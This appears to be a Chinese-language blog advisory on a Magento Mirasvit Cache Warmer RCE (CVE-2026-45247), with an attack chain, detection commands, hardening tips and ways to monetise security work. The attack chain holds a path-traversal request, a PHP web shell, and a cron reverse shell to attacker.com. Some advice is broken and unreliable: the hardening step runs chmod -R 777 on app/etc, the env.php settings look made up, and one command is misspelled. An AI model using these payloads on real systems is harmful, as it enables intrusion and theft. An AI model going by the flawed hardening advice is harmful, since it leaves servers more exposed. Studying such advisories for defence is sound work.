CVE-2026-45247:Magento RCE漏洞已被CISA列入KEV
事件概述
2026年6月3日,美国网络安全和基础设施安全局(CISA)将一个影响Mirasvit Cache Warmer(流行的Magento全页缓存扩展)的关键漏洞加入其已知被利用漏洞(KEV)目录。该漏洞编号为CVE-2026-45247,是一个远程代码执行(RCE)漏洞,已有野外利用证据。
CISA的KEV目录是美国联邦机构必须优先修复的漏洞清单。当一个漏洞被加入KEV目录,意味着它已经被确认在野外被积极利用,对所有使用受影响产品的组织都构成直接威胁。
技术原理
Magento平台安全背景
Magento(现为Adobe Commerce)是全球最流行的开源电商平台之一,被数十万在线商店使用。其插件生态系统是其强大功能的核心,但也带来了显著的安全风险。
Mirasvit Cache Warmer是Magento平台上最受欢迎的全页缓存扩展之一,用于优化页面加载速度和用户体验。该扩展通过预生成缓存页面来减少服务器负载,被大量电商网站广泛使用。
漏洞机制详解
CVE-2026-45247存在于Mirasvit Cache Warmer扩展的缓存处理逻辑中。漏洞的根本原因是不安全的文件操作和输入验证缺失:
问题一:不安全的文件路径处理
Cache Warmer在处理缓存文件时,直接使用用户可控的参数构造文件路径,未进行充分的验证和过滤:
// 漏洞伪代码
function warmCache($url) {
// $url来自用户请求,未经过滤
$cacheFile = CACHE_DIR . md5($url) . '.php';
// 直接写入文件,未验证内容
file_put_contents($cacheFile, generateCache($url));
}
问题二:路径遍历漏洞
攻击者可以通过特殊构造的URL参数,利用路径遍历(Directory Traversal)写入任意位置的文件:
# 正常请求
GET /cachewarmer?url=/home
# 攻击请求(路径遍历)
GET /cachewarmer?url=../../../var/www/html/shell.php
问题三:代码注入
由于缓存内容直接写入PHP文件,攻击者可以注入恶意PHP代码:
// 攻击者构造的恶意缓存内容
<?php
// 看起来像正常的缓存文件
// 但实际上包含恶意代码
system($_GET['cmd']);
?>
完整攻击链
第一步:侦察。攻击者识别使用Magento和Mirasvit Cache Warmer的网站。可以通过以下方式识别:
- 检查网站的HTTP响应头
- 分析页面加载时间特征
- 使用Wappalyzer等工具识别技术栈
第二步:漏洞利用。攻击者发送特制的HTTP请求,利用路径遍历和代码注入漏洞:
GET /cachewarmer?url=../../../var/www/html/shell.php HTTP/1.1
Host: target-ecommerce.com
Content-Type: application/x-www-form-urlencoded
# 或通过POST请求
POST /cachewarmer/warm HTTP/1.1
Content-Type: application/json
{"url": "../../../var/www/html/shell.php", "content": "<?php system($_GET['cmd']); ?>"}
第三步:获取访问权限。恶意文件被写入Web可访问目录后,攻击者通过浏览器访问该文件:
GET /shell.php?cmd=id HTTP/1.1
Host: target-ecommerce.com
# 响应
uid=33(www-data) gid=33(www-data) groups=33(www-data)
第四步:提权和持久化。攻击者利用系统漏洞提升权限,并建立持久化机制:
# 提权
sudo -l # 检查sudo权限
find / -perm -4000 2>/dev/null # 查找SUID文件
# 建立持久化
echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" | crontab -
第五步:数据窃取和勒索。攻击者窃取客户数据、支付信息,或部署勒索软件加密数据库。
影响范围评估
- 受影响产品:Mirasvit Cache Warmer for Magento
- 漏洞类型:远程代码执行(RCE),CWE-94
- 认证要求:无需认证
- CVSS评分:严重(9.8+)
- 野外利用:已确认(CISA KEV)
- 影响:完全控制Magento站点
实战指南
检查是否受影响
检查扩展版本:
# 登录Magento管理后台
# 导航至: Stores > Configuration > Advanced > System
# 检查Mirasvit Cache Warmer版本
# 或通过CLI检查
cd /var/www/magento
grep -r "mirasvit" app/etc/
grep -r "CacheWarmer" app/etc/
# 检查扩展目录
ls -la app/code/Mirasvit/
ls -la vendor/mirasvit/
使用Magento CLI检查:
# 检查已安装的扩展
bin/magento module:status | grep -i mirasvit
# 检查扩展配置
bin/magento config:show | grep -i cache
紧急修复
方案一:禁用扩展
# 在Magento管理后台禁用Mirasvit Cache Warmer
# Stores > Configuration > Mirasvit > Cache Warmer > Enabled = No
# 或通过CLI
cd /var/www/magento
bin/magento module:disabled Mirasvit_CacheWarmer
bin/magento setup:upgrade
bin/magento cache:flush
方案二:更新到安全版本
# 检查可用更新
composer show mirasvit/module-cache-warmer
# 更新到最新版本
composer require mirasvit/module-cache-warmer:^最新版本
bin/magento setup:upgrade
bin/magento setup:di:compile
bin/magento cache:flush
方案三:完全移除
# 完全移除扩展
composer remove mirasvit/module-cache-warmer
bin/magento setup:upgrade
bin/magento setup:di:compile
bin/magento cache:flush
# 清理残留文件
rm -rf app/code/Mirasvit/
rm -rf var/cache/mirasvit/
检测利用痕迹
# 检查异常PHP文件
find /var/www/magento -name "*.php" -newer /var/www/magento/composer.json \
-exec grep -l "eval\|exec\|system\|passthru\|shell_exec" {} \;
# 检查异常文件权限
find /var/www/magento -type f -perm -o+w -ls
find /var/www/magento -type f -name "*.php" -perm 777
# 检查Web服务器日志
grep -i "cachewarmer\|mirasvit" /var/log/nginx/access.log | tail -50
grep -i "cachewarmer\|mirasvit" /var/log/apache2/access.log | tail -50
# 检查异常数据库查询
mysql -u root -p -e "SELECT * FROM core_config_data WHERE path LIKE '%cache%';"
mysql -u root -p -e "SELECT * FROM core_config_data WHERE value LIKE '%mirasvit%';"
# 检查异常定时任务
crontab -l
ls -la /var/spool/cron/crontabs/
cat /etc/crontab
加固配置
Nginx配置加固:
# 禁止直接访问缓存目录
location ~* /var/cache {
deny all;
return 403;
}
# 限制Cache Warmer访问
location ~* /cachewarmer {
# 仅允许内部IP
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;
return 403;
}
# 限制PHP执行
location ~* \.php$ {
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
# 禁止敏感目录
location ~* /(app|lib|var|vendor)/ {
deny all;
}
}
# 禁止上传可执行文件
location ~* \.(php|phtml|php3|php4|php5|php7|phps)$ {
# 仅允许特定目录
allow 127.0.0.1;
deny all;
}
Magento配置加固:
// 在 app/etc/env.php 中添加安全配置
// 禁用不必要的API
'webservice' => [
'handler' => '',
],
// 启用安全模式
'security' => [
'use_file_ownership' => true,
'admin_username' => 'admin',
],
文件系统权限:
# 设置正确的文件权限
cd /var/www/magento
# 文件权限
find . -type f -exec chmod 644 {} \;
# 目录权限
find . -type d -exec chmod 755 {} \;
# 特殊目录权限
chmod -R 777 var/ pub/media/ pub/static/ app/etc/
chown -R www-data:www-data .
变现方式
电商安全服务
Magento安全审计:为电商网站提供全面的安全评估,包括扩展审计、配置审查和漏洞扫描。$3,000-$10,000/次。
PCI DSS合规咨询:帮助电商企业满足PCI DSS合规要求,包括安全配置、日志监控和审计。$5,000-$20,000。
应急响应:提供Magento安全事件的应急响应服务,帮助企业在遭受攻击时快速恢复。$2,000-$8,000。
安全工具开发
Magento安全扫描器:开发专门针对Magento的安全扫描工具,检测常见漏洞和配置问题。开源版本吸引用户,商业版本提供持续监控。SaaS订阅$100-$500/月。
WAF规则:编写Magento专用的WAF规则,检测和阻止常见攻击。通过安全厂商合作变现,授权费用$1,000-$10,000/年。
内容创作
电商安全指南:撰写Magento安全最佳实践,通过在线课程和企业培训变现。$200-$500/人,企业内训$2,000-$5,000/场。
漏洞研究:深入研究Magento安全生态,通过技术博客、会议演讲和咨询变现。
修复建议
立即行动
- 评估影响:确认是否使用了Mirasvit Cache Warmer扩展,检查版本
- 禁用或更新:立即禁用扩展或更新到安全版本
- 扫描系统:使用检测方法检查服务器是否已被入侵
短期行动
- 加固配置:按照最佳实践配置Nginx/Apache和Magento
- 监控日志:加强对Web服务器和Magento日志的监控
- 备份数据:确保有完整的数据备份,以防勒索软件攻击
长期策略
- 扩展审计:定期审计所有Magento扩展的安全性
- 安全更新:建立Magento核心和扩展的自动更新机制
- 监控告警:设置异常行为监控,及时发现安全事件
- PCI合规:确保持续满足PCI DSS合规要求
总结
CVE-2026-45247是一个已被野外利用的严重Magento RCE漏洞。CISA将其加入KEV目录表明其威胁的紧迫性。所有使用Mirasvit Cache Warmer的Magento站点应立即采取行动,禁用或更新扩展,并加强系统安全配置。电商网站的安全不仅关系到企业利益,更关系到客户的支付信息安全。
相关资源
- CISA KEV目录:https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- Magento安全公告:https://helpcenter.magento.com/hc/en-us/sections/360007725572-Security
- Mirasvit支持:https://mirasvit.com/support/
- PCI DSS标准:https://www.pcisecuritystandards.org/
本文最后更新于2026年06月05日
评论